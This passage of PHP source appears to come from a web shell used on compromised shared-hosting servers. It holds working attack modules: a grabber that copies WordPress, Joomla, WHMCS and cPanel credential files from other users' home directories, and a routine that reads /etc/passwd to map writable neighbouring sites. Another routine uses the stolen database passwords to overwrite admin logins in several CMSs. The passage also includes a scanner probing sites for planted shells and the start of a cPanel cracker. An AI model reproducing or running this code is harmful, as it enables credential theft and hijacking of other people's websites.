  1141. "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1142. "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1143. "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1144. "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1145. "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1146. "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1147. "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1148. "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1149. "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1150. "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1151. "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1152. "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1153. "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1154. "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1155. "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1156. "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1157. "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1158. "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1159. "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1160. "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1161. "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1162. "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1163. "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1164. "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1165. "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1166. "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1167. "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1168. "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1169. "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1170. "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1171. "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1172. "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1173. "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1174. "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1175. "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1176. "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1177. "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1178. "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1179. "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1180. "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1181. "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1182. "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1183. "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1184. "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1185. "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1186. "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1187. "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1188. "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1189. "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1190. "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1191. "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1192. "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1193. "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1194. "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1195. "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1196. "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1197. "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1198. "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1199. "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1200. "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1201. "/home3/$user_cox/.my.cnf" => "cpanel",
  1202. "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1203. "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1204. "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1205. "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1206. "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1207. "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1208. "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1209. "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1210. "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1211. "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1212. "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1213. "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1214. "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1215. "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1216. "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1217. "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1218. "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1219. "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1220. "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
  1221. "/home3/$user_cox/public_html/configuration.php" => "Joomla",
  1222. "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1223. "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1224. "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1225. "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1226. "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1227. "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1228. "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1229. "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1230. "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1231. "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1232. "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1233. "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1234. "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1235. "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1236. "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1237. "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1238. "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1239. "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1240. "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1241. "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1242. "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1243. "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1244. "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1245. "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1246. "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1247. "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1248. "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1249. "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1250. "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1251. "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1252. "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1253. "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1254. "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1255. "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1256. "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1257. "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1258. "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1259. "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1260. "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1261. "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1262. "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1263. "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1264. "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1265. "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1266. "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1267. "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1268. "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1269. "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1270. "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1271. "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1272. "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1273. "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1274. "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1275. "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1276. "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1277. "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1278. "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1279. "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1280. "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1281. "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1282. "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1283. "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1284. "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1285. "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1286. "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1287. "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1288. "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1289. "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1290. "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1291. "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1292. "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1293. "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1294. "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
  1295. );
  1296. foreach($grab_config as $config => $nama_config) {
  1297. $ambil_config = file_get_contents($config);
  1298. if($ambil_config == '') {
  1299. } else {
  1300. $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1301. fputs($file_config,$ambil_config);
  1302. }
  1303. }
  1304. }
  1305. }
  1306. echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1307. }else{
  1308.  
  1309. echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\
  1310. ";
  1311. echo file_get_contents('/etc/passwd');
  1312. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\
  1313. ";
  1314. }
  1315. } elseif($_GET['do'] == 'jumping') {
  1316. $i = 0;
  1317. echo "<pre><div class='margin: 5px auto;'>";
  1318. $etc = fopen("/etc/passwd", "r");
  1319. while($passwd = fgets($etc)) {
  1320. if($passwd == '' || !$etc) {
  1321. echo "<font color=red>Can't read /etc/passwd</font>";
  1322. } else {
  1323. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1324. foreach($user_jumping[1] as $user_idx_jump) {
  1325. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1326. if(is_readable($user_jumping_dir)) {
  1327. $i++;
  1328. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1329. if(is_writable($user_jumping_dir)) {
  1330. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1331. }
  1332. echo $jrw;
  1333. $domain_jump = file_get_contents("/etc/named.conf");
  1334. if($domain_jump == '') {
  1335. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1336. } else {
  1337. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1338. foreach($domains_jump[1] as $dj) {
  1339. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1340. $user_jumping_url = $user_jumping_url['name'];
  1341. if($user_jumping_url == $user_idx_jump) {
  1342. echo " => ( <u>$dj</u> )<br>";
  1343. break;
  1344. }
  1345. }
  1346. }
  1347. }
  1348. }
  1349. }
  1350. }
  1351. if($i == 0) {
  1352. } else {
  1353. echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1354. }
  1355. echo "</div></pre>";
  1356. } elseif($_GET['do'] == 'auto_edit_user') {
  1357. if($_POST['hajar']) {
  1358. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1359. echo "username atau password harus lebih dari 6 karakter";
  1360. } else {
  1361. $user_baru = $_POST['user_baru'];
  1362. $pass_baru = md5($_POST['pass_baru']);
  1363. $conf = $_POST['config_dir'];
  1364. $scan_conf = scandir($conf);
  1365. foreach($scan_conf as $file_conf) {
  1366. if(!is_file("$conf/$file_conf")) continue;
  1367. $config = file_get_contents("$conf/$file_conf");
  1368. if(preg_match("/JConfig|joomla/",$config)) {
  1369. $dbhost = ambilkata($config,"host = '","'");
  1370. $dbuser = ambilkata($config,"user = '","'");
  1371. $dbpass = ambilkata($config,"password = '","'");
  1372. $dbname = ambilkata($config,"db = '","'");
  1373. $dbprefix = ambilkata($config,"dbprefix = '","'");
  1374. $prefix = $dbprefix."users";
  1375. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1376. $db = mysql_select_db($dbname);
  1377. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1378. $result = mysql_fetch_array($q);
  1379. $id = $result['id'];
  1380. $site = ambilkata($config,"sitename = '","'");
  1381. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1382. echo "Config => ".$file_conf."<br>";
  1383. echo "CMS => Joomla<br>";
  1384. if($site == '') {
  1385. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1386. } else {
  1387. echo "Sitename => $site<br>";
  1388. }
  1389. if(!$update OR !$conn OR !$db) {
  1390. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1391. } else {
  1392. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1393. }
  1394. mysql_close($conn);
  1395. } elseif(preg_match("/WordPress/",$config)) {
  1396. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1397. $dbuser = ambilkata($config,"DB_USER', '","'");
  1398. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1399. $dbname = ambilkata($config,"DB_NAME', '","'");
  1400. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1401. $prefix = $dbprefix."users";
  1402. $option = $dbprefix."options";
  1403. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1404. $db = mysql_select_db($dbname);
  1405. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1406. $result = mysql_fetch_array($q);
  1407. $id = $result[ID];
  1408. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1409. $result2 = mysql_fetch_array($q2);
  1410. $target = $result2[option_value];
  1411. if($target == '') {
  1412. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1413. } else {
  1414. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1415. }
  1416. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1417. echo "Config => ".$file_conf."<br>";
  1418. echo "CMS => Wordpress<br>";
  1419. echo $url_target;
  1420. if(!$update OR !$conn OR !$db) {
  1421. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1422. } else {
  1423. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1424. }
  1425. mysql_close($conn);
  1426. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1427. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1428. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1429. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1430. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1431. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1432. $prefix = $dbprefix."admin_user";
  1433. $option = $dbprefix."core_config_data";
  1434. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1435. $db = mysql_select_db($dbname);
  1436. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1437. $result = mysql_fetch_array($q);
  1438. $id = $result[user_id];
  1439. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1440. $result2 = mysql_fetch_array($q2);
  1441. $target = $result2[value];
  1442. if($target == '') {
  1443. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1444. } else {
  1445. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1446. }
  1447. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1448. echo "Config => ".$file_conf."<br>";
  1449. echo "CMS => Magento<br>";
  1450. echo $url_target;
  1451. if(!$update OR !$conn OR !$db) {
  1452. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1453. } else {
  1454. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1455. }
  1456. mysql_close($conn);
  1457. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1458. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1459. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1460. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1461. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1462. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1463. $prefix = $dbprefix."user";
  1464. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1465. $db = mysql_select_db($dbname);
  1466. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1467. $result = mysql_fetch_array($q);
  1468. $id = $result[user_id];
  1469. $target = ambilkata($config,"HTTP_SERVER', '","'");
  1470. if($target == '') {
  1471. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1472. } else {
  1473. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1474. }
  1475. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1476. echo "Config => ".$file_conf."<br>";
  1477. echo "CMS => OpenCart<br>";
  1478. echo $url_target;
  1479. if(!$update OR !$conn OR !$db) {
  1480. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1481. } else {
  1482. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1483. }
  1484. mysql_close($conn);
  1485. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1486. $dbhost = ambilkata($config,'server = "','"');
  1487. $dbuser = ambilkata($config,'username = "','"');
  1488. $dbpass = ambilkata($config,'password = "','"');
  1489. $dbname = ambilkata($config,'database = "','"');
  1490. $prefix = "users";
  1491. $option = "identitas";
  1492. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1493. $db = mysql_select_db($dbname);
  1494. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1495. $result = mysql_fetch_array($q);
  1496. $target = $result[alamat_website];
  1497. if($target == '') {
  1498. $target2 = $result[url];
  1499. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1500. if($target2 == '') {
  1501. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1502. } else {
  1503. $cek_login3 = file_get_contents("$target2/adminweb/");
  1504. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1505. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1506. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1507. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1508. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1509. } else {
  1510. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1511. }
  1512. }
  1513. } else {
  1514. $cek_login = file_get_contents("$target/adminweb/");
  1515. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1516. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1517. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1518. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1519. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1520. } else {
  1521. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1522. }
  1523. }
  1524. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1525. echo "Config => ".$file_conf."<br>";
  1526. echo "CMS => Lokomedia<br>";
  1527. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1528. echo $url_target2;
  1529. } else {
  1530. echo $url_target;
  1531. }
  1532. if(!$update OR !$conn OR !$db) {
  1533. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1534. } else {
  1535. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1536. }
  1537. mysql_close($conn);
  1538. }
  1539. }
  1540. }
  1541. } else {
  1542. echo "<center>
  1543. <h1>Auto Edit User Config</h1>
  1544. <form method='post'>
  1545. DIR Config: <br>
  1546. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1547. Set User & Pass: <br>
  1548. <input type='text' name='user_baru' value='0x1999' placeholder='user_baru'><br>
  1549. <input type='text' name='pass_baru' value='0x1999' placeholder='pass_baru'><br>
  1550. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1551. </form>
  1552. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1553. ";
  1554. }
  1555. }elseif($_GET['do'] == 'shelscan') {
  1556. echo'<center><h2>Shell Finder</h2>
  1557. <form action="" method="post">
  1558. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1559. <br>
  1560. <input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
  1561. </form><br>';
  1562. if (isset($_POST["scan"])) {
  1563. $url = $_POST['traget'];
  1564. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1565. echo "Result :<br />";
  1566. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1567. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1568. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1569. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1570. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1571. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1572. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1573. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1574. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1575. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1576. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1577. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1578. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1579. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1580. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1581. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  1582. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  1583. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1584. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1585. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1586. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1587. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1588. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1589. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1590. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1591. foreach ($shells as $shell){
  1592. $headers = get_headers("$url$shell"); //
  1593. if (eregi('200', $headers[0])) {
  1594. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1595. $dz = fopen('shells.txt', 'a+');
  1596. $suck = "$url$shell";
  1597. fwrite($dz, $suck."\
  1598. ");
  1599. }
  1600. }
  1601. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1602. }
  1603.  
  1604. }
  1605. elseif($_GET['do'] == 'cpanel') {
  1606. if($_POST['crack']) {
  1607. $usercp = explode("\
  1608. \
  1609. ", $_POST['user_cp']);
  1610. $passcp = explode("\
  1611. \
  1612. ", $_POST['pass_cp']);
  1613. $i = 0;
  1614. foreach($usercp as $ucp) {
